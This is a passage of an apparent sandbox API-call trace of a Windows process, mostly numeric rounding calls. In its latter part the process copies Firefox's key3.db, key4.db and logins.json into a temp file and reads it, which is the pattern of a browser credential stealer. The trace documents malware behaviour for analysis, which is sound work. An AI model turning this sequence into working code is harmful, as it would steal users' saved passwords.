(pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.289] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.290] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.290] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.290] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.290] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.290] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.290] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.290] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.290] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.290] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.307] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.308] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.309] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.310] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.311] VarDecCmp (pdecLeft=0x12feb18, pdecRight=0x12feb08) returned 0x2 [0197.312] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.312] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.312] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.312] VarDecRound (in: pdecIn=0x12feaf8, cDecimals=0, pdecResult=0x12fead8 | out: pdecResult=0x12fead8) returned 0x0 [0197.312] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.312] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.312] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.312] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.312] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.312] VarDecRound (in: pdecIn=0x12fead0, cDecimals=0, pdecResult=0x12feae0 | out: pdecResult=0x12feae0) returned 0x0 [0197.321] WriteFile (in: hFile=0x4e4, lpBuffer=0x31fda2c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x12ff0c4, lpOverlapped=0x0 | out: lpBuffer=0x31fda2c*, lpNumberOfBytesWritten=0x12ff0c4*=0x1000, lpOverlapped=0x0) returned 1 [0197.323] WriteFile (in: hFile=0x4e4, lpBuffer=0x31fda2c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x12ff0c4, lpOverlapped=0x0 | out: lpBuffer=0x31fda2c*, lpNumberOfBytesWritten=0x12ff0c4*=0x1000, lpOverlapped=0x0) returned 1 [0197.323] WriteFile (in: hFile=0x4e4, lpBuffer=0x31fda2c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x12ff0c4, lpOverlapped=0x0 | out: lpBuffer=0x31fda2c*, lpNumberOfBytesWritten=0x12ff0c4*=0x1000, lpOverlapped=0x0) returned 1 [0197.324] WriteFile (in: hFile=0x4e4, lpBuffer=0x31fda2c*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x12ff088, lpOverlapped=0x0 | out: lpBuffer=0x31fda2c*, lpNumberOfBytesWritten=0x12ff088*=0x740, lpOverlapped=0x0) returned 1 [0197.324] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_05.9332145+02_0011"), bFailIfExists=0) returned 1 [0197.328] ReadFile (in: hFile=0x4e4, lpBuffer=0x31ffdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff03c, lpOverlapped=0x0 | out: lpBuffer=0x31ffdc8*, lpNumberOfBytesRead=0x12ff03c*=0x1000, lpOverlapped=0x0) returned 1 [0197.328] ReadFile (in: hFile=0x4e4, lpBuffer=0x31ffdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff03c, lpOverlapped=0x0 | out: lpBuffer=0x31ffdc8*, lpNumberOfBytesRead=0x12ff03c*=0x1000, lpOverlapped=0x0) returned 1 [0197.328] ReadFile (in: hFile=0x4e4, lpBuffer=0x31ffdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff03c, lpOverlapped=0x0 | out: lpBuffer=0x31ffdc8*, lpNumberOfBytesRead=0x12ff03c*=0x1000, lpOverlapped=0x0) returned 1 [0197.328] ReadFile (in: hFile=0x4e4, lpBuffer=0x31ffdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x12ff03c, lpOverlapped=0x0 | out: lpBuffer=0x31ffdc8*, lpNumberOfBytesRead=0x12ff03c*=0x1000, lpOverlapped=0x0) returned 1 [0197.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json", nBufferLength=0x105, lpBuffer=0x12feb48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json", lpFilePart=0x0) returned 0x55 [0197.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", nBufferLength=0x105, lpBuffer=0x12feb48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", lpFilePart=0x0) returned 0x52 [0197.334] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\logins.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_05.9332145+02_0011"), bFailIfExists=0) returned 0 [0197.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\logins.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\logins.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0197.335] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key4.db", nBufferLength=0x105, lpBuffer=0x12feb94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key4.db", lpFilePart=0x0) returned 0x51 [0197.336] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", nBufferLength=0x105, lpBuffer=0x12feb94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", lpFilePart=0x0) returned 0x52 [0197.336] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key4.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key4.db"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_05.9332145+02_0011"), bFailIfExists=0) returned 1 [0197.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", nBufferLength=0x105, lpBuffer=0x12feba4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", lpFilePart=0x0) returned 0x52 [0197.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff058) returned 1 [0197.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_05.9332145+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12ff0d4 | out: lpFileInformation=0x12ff0d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ceee31, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x28ceee31, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x77a6c480, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x48000)) returned 1 [0197.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff054) returned 1 [0197.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", nBufferLength=0x105, lpBuffer=0x12feb64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", lpFilePart=0x0) returned 0x52 [0197.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff018) returned 1 [0197.442] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_05.9332145+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12ff094 | out: lpFileInformation=0x12ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ceee31, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x28ceee31, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x77a6c480, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x48000)) returned 1 [0197.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff014) returned 1 [0197.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", nBufferLength=0x105, lpBuffer=0x12feaf8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", lpFilePart=0x0) returned 0x52 [0197.442] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", nBufferLength=0x105, lpBuffer=0x12fead8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", lpFilePart=0x0) returned 0x52 [0197.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", nBufferLength=0x105, lpBuffer=0x12feab4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", lpFilePart=0x0) returned 0x52 [0197.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef68) returned 1 [0197.443] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_05.9332145+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12fefe4 | out: lpFileInformation=0x12fefe4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ceee31, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x28ceee31, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x77a6c480, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x48000)) returned 1 [0197.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", nBufferLength=0x105, lpBuffer=0x12fe9cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011", lpFilePart=0x0) returned 0x52 [0197.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef10) returned 1 [0197.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_56_05.9332145+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_56_05.9332145+02_0011"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e4 [0197.443] GetFileType (hFile=0x4e4) returned 0x1 [0197.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef0c) returned 1 [0197.443] GetFileType (hFile=0x4e4) returned 0x1 [0197.443] GetFileSize (in: hFile=0x4e4, lpFileSizeHigh=0x12ff0c4 | out: lpFileSizeHigh=0x12ff0c4*=0x0) returned 0x48000 [0197.455] ReadFile (in: hFile=0x4e4, lpBuffer=0x45499c8, nNumberOfBytesToRead=0x48000, lpNumberOfBytesRead=0x12fefe0, lpOverlapped=0x0 | out: lpBuffer=0x45499c8*, lpNumberOfBytesRead=0x12fefe0*=0x48000, lpOverlapped=0x0) returned 1 [0197.470] CloseHandle (hObject=0x4e4) returned 1 [0197.477] VarDecCmp (pdecLeft=0x12ff100, pdecRight=0x12ff0f0) returned 0x2 [0197.477] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea5c, cDecimals=0, pdecResult=0x12fea3c | out: pdecResult=0x12fea3c) returned 0x0 [0197.477] VarDecRound (in: pdecIn=0x12fea2c, cDecimals=0, 